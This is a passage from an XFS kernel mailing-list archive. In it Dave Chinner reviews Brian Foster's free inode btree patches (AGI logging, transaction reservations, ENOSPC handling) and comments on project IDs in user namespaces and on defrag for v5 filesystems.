(Exim 4.76) (envelope-from ) id 1VHjac-0002mI-Kk; Fri, 06 Sep 2013 10:07:54 +1000 Date: Fri, 6 Sep 2013 10:07:54 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type Message-ID: <20130906000754.GO12779@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-4-git-send-email-bfoster@redhat.com> <20130905005428.GQ23571@dastard> <5228AE80.5050908@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5228AE80.5050908@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378426077 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140376 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Thu, Sep 05, 2013 at 12:17:04PM -0400, Brian Foster wrote: > On 09/04/2013 08:54 PM, Dave Chinner wrote: > > On Tue, Sep 03, 2013 at 02:25:00PM -0400, Brian Foster wrote: > >> Define the AGI fields for the finobt root/level and add magic > >> numbers. Update the btree code to add support for the new > >> XFS_BTNUM_FINOBT inode btree. ..... > >> @@ -180,7 +183,9 @@ typedef struct xfs_agi { > >> #define XFS_AGI_NEWINO 0x00000100 > >> #define XFS_AGI_DIRINO 0x00000200 > >> #define XFS_AGI_UNLINKED 0x00000400 > >> -#define XFS_AGI_NUM_BITS 11 > >> +#define XFS_AGI_FREE_ROOT 0x00000800 > >> +#define XFS_AGI_FREE_LEVEL 0x00001000 > >> +#define XFS_AGI_NUM_BITS 13 > >> #define XFS_AGI_ALL_BITS ((1 << XFS_AGI_NUM_BITS) - 1) > > > > This is a bit of a problem, because the range logging bits will now > > cause the entire AGI to be logged (including all the unlinked list > > hash) because these only define the first/last offsets to be > > logged... > > > > Ok, I see what you mean here... > > >> diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c > >> index 524aa88..5ced506 100644 > >> --- a/fs/xfs/xfs_ialloc.c > >> +++ b/fs/xfs/xfs_ialloc.c > >> @@ -1505,6 +1505,8 @@ xfs_ialloc_log_agi( > >> offsetof(xfs_agi_t, agi_newino), > >> offsetof(xfs_agi_t, agi_dirino), > >> offsetof(xfs_agi_t, agi_unlinked), > >> + offsetof(xfs_agi_t, agi_free_root), > >> + offsetof(xfs_agi_t, agi_free_level), > >> sizeof(xfs_agi_t) > >> }; > > > > Because of how this table works. > > > > What we really need here is for xfs_ialloc_log_agi to consider that > > there are two distinct regions for range logging - the first spaces > > from offset 0 to offset of agi_unlinked, and the second is from the > > the offset of agi_free_root to the end of the xfs_agi_t.... > > > > It's abit messy, I know, but we couldn't easily add new padding to > > the AGI in the existing range logging area like was done for the AGF > > because of the unlinked list hash table already defining the end of > > the range logging region.... > > > > ... but where would that ever happen? The existing invocations of > xfs_ialloc_log_agi() seem to log either the agi inode count values or > the btree root/level values (i.e., never the range across both). I think > I've introduced at least a couple new invocations throughout this set, > but I've not changed that model (i.e., an XFS_AGI_FREECOUNT instance in > the new lookup code and an XFS_AGI_FREE_ROOT|*_LEVEL instance in the new > btree code). Right, we don't current log across the range because of the way the code is currently written, but there's no rule that says that logging fields must be done this way. I can see that there may be reason for logging XFS_AGI_FREE_ROOT|*_LEVEL and XFS_AGI_NEW_INODE all in one go - pointing new inode allocation at recently freed inodes is not unreasonable, and if we split the finobt and update agi_newino in the one update, we will log across this gap. > My understanding of this code is that the range to log is defined at > invocation time to xfs_iallog_log_agi(), so if the callers never specify > a range that includes the unlinked bits in a single call, we won't set > that range in the buffer log item code. In other words, even if we > ultimately happen to log both ranges in the agi, the lower level code > will never expand the logged region. Therefore, this shouldn't happen > unless a single invocation that specifies one of the > XFS_AGI_FREE_ROOT/LEVEL bits also specifies one of the existing agi bits. Yes, we can avoid that by logging te regions separately, but that then puts the onus on the future developers and reviewers to remember this landmine and avoid it. > I could see breaking this up as a matter of preparation for future > fields or calls that would introduce logging that kind of range, but at > the same time (and assuming my interpretation of above is correct), > that's a bit of code that serves no purpose for the foreseeable future. > Perhaps a comment in xfs_ialloc_log_agi() and the one caller that uses > the AGI_FREE_* bits to document this restriction is sufficient? Given it is only a few lines of extra code in xfs_ialloc_log_agi(), I'd prefer that the code documents and deals with the different regions internally. That way we can forget about it completely for the future and never have to worry about it again. Keep in mind that I'm looking at this from a code maintenance timescale of at least 5-10 years into the future here - a few minutes extra fixing this right now could save us a lot of hassle years down the track. ;) > >> #ifdef DEBUG > >> diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c > >> index 0cdb88b..7923292 100644 > >> --- a/fs/xfs/xfs_ialloc_btree.c > >> +++ b/fs/xfs/xfs_ialloc_btree.c > >> @@ -62,10 +62,18 @@ xfs_inobt_set_root( > >> { > >> struct xfs_buf *agbp = cur->bc_private.a.agbp; > >> struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); > >> - > >> - agi->agi_root = nptr->s; > >> - be32_add_cpu(&agi->agi_level, inc); > >> - xfs_ialloc_log_agi(cur->bc_tp, agbp, XFS_AGI_ROOT | XFS_AGI_LEVEL); > >> + int fields; > >> + > >> + if (cur->bc_btnum == XFS_BTNUM_INO) { > >> + agi->agi_root = nptr->s; > >> + be32_add_cpu(&agi->agi_level, inc); > >> + fields = XFS_AGI_ROOT | XFS_AGI_LEVEL; > >> + } else { > >> + agi->agi_free_root = nptr->s; > >> + be32_add_cpu(&agi->agi_free_level, inc); > >> + fields = XFS_AGI_FREE_ROOT | XFS_AGI_FREE_LEVEL; > >> + } > >> + xfs_ialloc_log_agi(cur->bc_tp, agbp, fields); > >> } > > > > I suspect that it would be better to have separate functions for > > these differences i.e. xfs_inobt_set_root() and > > xfs_finobt_set_root(), and set up separate btree ops structure > > forthe two different trees. Most of the code is still identical, > > but the differences in root structures can easily be handled without > > putting switches in the code everywhere. > > > > Ok, I'm assuming the suggestion is to only create new functions for the > implementations that differ. Exactly. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 5 19:11:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4F30B7F4E for ; Thu, 5 Sep 2013 19:11:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 371528F8035 for ; Thu, 5 Sep 2013 17:11:26 -0700 (PDT) X-ASG-Debug-ID: 1378426284-04cbb02c3bd7d3e0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id GzIPl3euVcv9c1SB for ; Thu, 05 Sep 2013 17:11:24 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AokGALAcKVJ5LJ62/2dsb2JhbABbgweDR7lXhTWBJRd0giQBAQU6HCMQCAMOCgkMGQ8FJQMhE4gBunMWj0oHCoQTA5d0kWeBY4FPKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail07.adl2.internode.on.net with ESMTP; 06 Sep 2013 09:41:24 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHjdy-0002mZ-4R; Fri, 06 Sep 2013 10:11:22 +1000 Date: Fri, 6 Sep 2013 10:11:22 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 04/11] xfs: update inode allocation transaction reservations for finobt Message-ID: <20130906001122.GP12779@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 04/11] xfs: update inode allocation transaction reservations for finobt References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-5-git-send-email-bfoster@redhat.com> <20130905005946.GR23571@dastard> <5228AE93.2050001@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5228AE93.2050001@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378426284 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140376 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 05, 2013 at 12:17:23PM -0400, Brian Foster wrote: > On 09/04/2013 08:59 PM, Dave Chinner wrote: > > On Tue, Sep 03, 2013 at 02:25:01PM -0400, Brian Foster wrote: > >> Update inode allocation transaction reservations for the finobt. A > >> create via record modification requires a log reservation for the > >> additional finobt record. Any such allocation could result in an > >> finobt removal if the inode chunk has become fully allocated, thus > >> we include a reservation for a finobt btree merge as well. > >> Allocation of a new inode chunk must account for splits in the > >> finobt as well as the existing ialloc tree. > > > > These transaction reservation changes are only necessary for > > filesystems with free inode btrees, otherwise they just use more log > > space than is necessary. > > > > Yeah, good point. > > > Can you add helper functions for the free inode btree reservations, > > and have them return 0 when the feature is not enabled? That way the > > code stays pretty clean, is self documenting and doesn't take > > unnecessary space when the feature is not enabled.... > > > > So not new functions that duplicate the entire calculations for the > finobt enabled cases, but new functions that define the additional > requirements for the finobt on top of the existing reservation > calculations for particular operations (i.e., similar to the recent > patch to fix the inode log size, if I recall). Sounds good. That's exactly what I'm thinking - just like the xfs_calc_inode_res() helper. This really helps document the transaction reservation calculations - the comments help, but they are no substitute for being able to say "*that line* is what reserves space for the inodes modified in the transaction"... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 5 19:17:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5120D7F4E for ; Thu, 5 Sep 2013 19:17:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1F96A8F8039 for ; Thu, 5 Sep 2013 17:17:22 -0700 (PDT) X-ASG-Debug-ID: 1378426640-04bdf02f23db8a60001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id HfWNknrZx02TWr9J for ; Thu, 05 Sep 2013 17:17:20 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AooGAB4eKVJ5LJ62/2dsb2JhbABbgweDR7lXhTWBJRd0giQBAQQBJxMcIwULCAMOCgklDwUlAyETh3wFunEWj0oHhB0Dl3SKMIc3gzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail07.adl2.internode.on.net with ESMTP; 06 Sep 2013 09:47:19 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHjji-0002nH-KB; Fri, 06 Sep 2013 10:17:18 +1000 Date: Fri, 6 Sep 2013 10:17:18 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 07/11] xfs: retry trans reservation on ENOSPC in xfs_inactive() Message-ID: <20130906001718.GQ12779@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 07/11] xfs: retry trans reservation on ENOSPC in xfs_inactive() References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-8-git-send-email-bfoster@redhat.com> <20130905014016.GU23571@dastard> <5228AED7.1010700@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5228AED7.1010700@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378426640 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140376 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 05, 2013 at 12:18:31PM -0400, Brian Foster wrote: > On 09/04/2013 09:40 PM, Dave Chinner wrote: > > On Tue, Sep 03, 2013 at 02:25:04PM -0400, Brian Foster wrote: > >> An ifree data block reservation can fail with ENOSPC. Flush inodes > >> to try and free up space or attempt without a data block > >> reservation to avoid failing out of xfs_inactive(). > >> > >> Signed-off-by: Brian Foster > >> --- > >> fs/xfs/xfs_inode.c | 11 +++++++++++ > >> 1 file changed, 11 insertions(+) > >> > >> diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c > >> index 56cbf63..92de4b7 100644 > >> --- a/fs/xfs/xfs_inode.c > >> +++ b/fs/xfs/xfs_inode.c > >> @@ -1779,7 +1779,18 @@ xfs_inactive( > >> tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); > >> error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, > >> XFS_IFREE_SPACE_RES(mp), 0); > >> + if (error == ENOSPC) { > >> + /* flush outstanding delalloc blocks and retry */ > >> + xfs_flush_inodes(mp); > >> + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, > >> + XFS_IFREE_SPACE_RES(mp), 0); > >> + } > > > > We don't want to be blocking for inode flushes here. We might be in > > a shrinker context, for example, and blocking those for a filesystem > > sync is going to be unfriendly. > > > > Ok. > > > If this really is a problem, then the right thing to do is to allow > > this transaction to dip into the reserve block pool so the > > transaction can complete and make progress - other write operations > > will trigger the flushing of the filesystem, and freeing of whole > > inode chunks should return more free space than we need for the > > finobt modifications in the removing lots of zero length inodes > > at ENOSPC case.... > > > > I did have one of the enospc xfstests lead to this situation, though I > don't have the particular test in my notes. It initially manifested as > an assert failure due to the fs not being shutdown after an > xfs_trans_reserve() ENOSPC failure. Ok. I can see how ENOSPC might occur here :) > Subsequent to avoiding that, I > believe there were inconsistent fs issues called out due to the unlinked > lists being populated after umount. That sounds like a recovery failure, not so much an ENOSPC failure. i.e. that recovery only looks at the log to see if it's clean, and only recovers unlinked lists if it's dirty. There is the *possibility* of having a clean log with inodes on the unlinked list, and log recovery doesn't run the unlinked list processing in that case. This is one of the issues we'll need to fix for O_TMPFILE support as it will actively use inodes on unlinked list for potentially long periods of time. > Taking a further look, I missed the XFS_TRANS_RESERVE flag and whole > m_resblks mechanism. I'll take a closer look at that and see if that > works to resolve the problem instead of the flush. It should - the only time it won't is if we exhaust the pool, but that doesn't happen in normal ENOSPC situations and any blocks we do end up freeing will immediately refill the reserve pool... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 5 19:29:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BC1387F4E for ; Thu, 5 Sep 2013 19:29:10 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A6F6B30408A for ; Thu, 5 Sep 2013 17:29:07 -0700 (PDT) X-ASG-Debug-ID: 1378427331-04cbb02c3ad7db60001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id uZcIANjFiRn1tz7c for ; Thu, 05 Sep 2013 17:28:52 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AooGAG0gKVJ5LJ62/2dsb2JhbABbgweDR7lXhTWBJRd0giQBAQQBJxMcIwULCAMOCgklDwUlAyETh3wFunQWj0oHhB0Dl3SRZ4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail07.adl2.internode.on.net with ESMTP; 06 Sep 2013 09:58:51 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHjup-0002oQ-DD; Fri, 06 Sep 2013 10:28:47 +1000 Date: Fri, 6 Sep 2013 10:28:47 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free Message-ID: <20130906002847.GR12779@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-11-git-send-email-bfoster@redhat.com> <20130905025421.GX23571@dastard> <5228AF00.7080700@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5228AF00.7080700@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378427331 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140377 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Thu, Sep 05, 2013 at 12:19:12PM -0400, Brian Foster wrote: > On 09/04/2013 10:54 PM, Dave Chinner wrote: > > On Tue, Sep 03, 2013 at 02:25:07PM -0400, Brian Foster wrote: > >> An inode free operation can have several effects on the finobt. If > >> all inodes have been freed and the chunk deallocated, we remove the > >> finobt record. If the inode chunk was previously full, we must > >> insert a new record based on the existing inobt record. Otherwise, > >> we modify the record in place. ..... > >> + } else if ((i == 0) && (ibtrec->ir_freecount == 1)) { > >> + /* > >> + * No existing finobt record and the inobt record has a single > >> + * free inode. This means we've freed an inode in a previously > >> + * fully allocated chunk. Insert a new record into the finobt > >> + * based on the current inobt record. > >> + */ > >> + cur->bc_rec.i.ir_startino = ibtrec->ir_startino; > >> + cur->bc_rec.i.ir_free = ibtrec->ir_free; > >> + cur->bc_rec.i.ir_freecount = ibtrec->ir_freecount; > >> + error = xfs_btree_insert(cur, &i); > >> + if (error) > >> + goto error; > >> + ASSERT(i == 1); > > > > That's rather similar to the code in xfs_inobt_insert(). Indeed, > > is you write a helper - xfs_inobt_insert_rec() - for this, then rather than modifying > > xfs_inobt_lookup() to take extra parameters like I wondered for the > > previous patch, leave it alonge and pass the parameters to > > xfs_inobt_insert_rec() instead. > > > > Then this code is functionally identical to xfs_inobt_insert() done > > during allocation.... > > > > I think I'm parsing you after having another look at the code. > xfs_inobt_lookup() remains as is and is potentially used from > xfs_inobt_insert(). xfs_inobt_insert_rec() is introduced to set the > cursor fields and do the insert and is used here and from > xfs_inobt_insert(). Effectively. xfs_inobt_insert() becomes: for (each inode chunk) { xfs_inobt_lookup(cur, startino) xfs_inobt_insert_rec(cur, startino, free, free_count) } And this code becomes: xfs_inobt_lookup(cur, startino); if (!found) { if (free_count == 1) xfs_inobt_insert_rec(cur, startino, free, free_count) else CORRUPTION goto out; } > At that point, this looks close to xfs_inobt_insert(), but I think using > that here would introduce a duplicate lookup. Yes, it would. I think just using helpers like this is sufficient for the two different cases, especially as xfs_inobt_insert() needs to be able to handle multiple chunk insertion and we don't have that here... > Regardless, we'll see what > the whole thing looks like at that point. Thanks for the reviews. :) No worries. BTW, can you post your rudimentary userspace support so we can run tests that use this code, too? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 5 20:30:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3F2E47F4E for ; Thu, 5 Sep 2013 20:30:46 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1D6558F8033 for ; Thu, 5 Sep 2013 18:30:46 -0700 (PDT) X-ASG-Debug-ID: 1378431040-04cb6c2e9cd8ed70001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id AhdF8dAJMOwAR9Re for ; Thu, 05 Sep 2013 18:30:40 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AokGALovKVJ5LJ62/2dsb2JhbABbgweDR7lYhTWBJhd0giQBAQU6HCMQCAMYCSUPBSUDIRMbh2a7AhaODAeBNweDHYEAA5d0ijUEhy6DMiqBLQ Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail07.adl2.internode.on.net with ESMTP; 06 Sep 2013 11:00:39 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHksb-0002ub-J9; Fri, 06 Sep 2013 11:30:33 +1000 Date: Fri, 6 Sep 2013 11:30:33 +1000 From: Dave Chinner To: Gao feng Cc: xfs@oss.sgi.com, dwight.engen@oracle.com, bfoster@redhat.com, ebiederm@xmission.com Subject: Re: [PATCH 0/4] xfs: Allow user to change project id in un-init userns Message-ID: <20130906013033.GB23571@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/4] xfs: Allow user to change project id in un-init userns References: <1378276717-9663-1-git-send-email-gaofeng@cn.fujitsu.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378276717-9663-1-git-send-email-gaofeng@cn.fujitsu.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378431040 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140378 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 04, 2013 at 02:38:33PM +0800, Gao feng wrote: > This patchset add two helper functions to convert user space project id > to kernel space project id without any struct changed. > > Since the projid_map of user namespace has limit the range of valid project > ids for user namespace, we can safely allow user to change file's project > id in un-init user namespace. This doesn't address any of the concerns about whether access to project IDs are valid in a user namaspacee environment. Project IDs are not the same as UIDs and GIDs. They got included in all the mapping stuff because of the fact that they are used for quotas, but the fact is that they are not a property owned by a user or a group or control access. IOWs, project IDs are an *accounting* construct rather than an *access control mechanism* If project IDs are being used by the system administrators for accounting the space used by a *mount namespace* container, then they must not be modifiable by a user in a user namespace. This is a fundamentally different use case from UID/GID mapping, because there is no possible competing access for on-disk uid/gid fields possible from the initns like there is for project quotas. IOWs, project quota IDs are not owned by a namespace, and so mapping them like we do for UID/GID is not clearly the right solution for everyone. So, there's a bigger policy issue here that needs to be decided first. i.e. whether project quotas and therefore project IDs should be accessible to users inside a user namespace. If we decide to make it optional so that a system administrator can chose whether project IDs are to be mapped via the userns mapping infrastructure, then we need some kind of infrastructure to support and enforce that first. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 5 22:35:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A86A97F4E for ; Thu, 5 Sep 2013 22:35:30 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7AF65304032 for ; Thu, 5 Sep 2013 20:35:27 -0700 (PDT) X-ASG-Debug-ID: 1378438514-04cbb02c3ad83b60001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id kiwGS4v9OCKDpwmL for ; Thu, 05 Sep 2013 20:35:15 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AokGAPVMKVJ5LJ62/2dsb2JhbABbgweDR7lbhTWBJxd0giQBAQU6HCMQCAMYCSUPBSUDIROIAbsMFo9KB4MdgQADl3SRZ4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail07.adl2.internode.on.net with ESMTP; 06 Sep 2013 13:04:49 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHmoj-00036S-0I; Fri, 06 Sep 2013 13:34:41 +1000 Date: Fri, 6 Sep 2013 13:34:40 +1000 From: Dave Chinner To: Eric Sandeen Cc: Ben Myers , xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: defrag support for v5 filesystems Message-ID: <20130906033440.GC23571@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/2] xfs: defrag support for v5 filesystems References: <1377822225-17621-1-git-send-email-david@fromorbit.com> <20130903191201.GL1935@sgi.com> <20130903224542.GH23571@dastard> <20130905193428.GP1935@sgi.com> <5228E217.5080002@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5228E217.5080002@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378438514 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140380 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 05, 2013 at 02:57:11PM -0500, Eric Sandeen wrote: > On 9/5/13 2:34 PM, Ben Myers wrote: > > That is enough to go > > on for starting a discussion. Insofar as supporting such a feature might > > require interface changes to the existing work, I think we should discuss what > > they might look like before finalizing the mkfs.xfs interfaces in a way that we > > might find to be incompatible later. If after some discussion we find that > > this can be done without interface changes that will gate removal of the > > experimental tag... then it won't gate. > > It is incumbent on SGI to explain why they want to make it optional. > There is no alternative design; if and when there is one, that's the time > to make another configuration knob. > > I see 2 possible reasons you would want it to be configurable. The first > 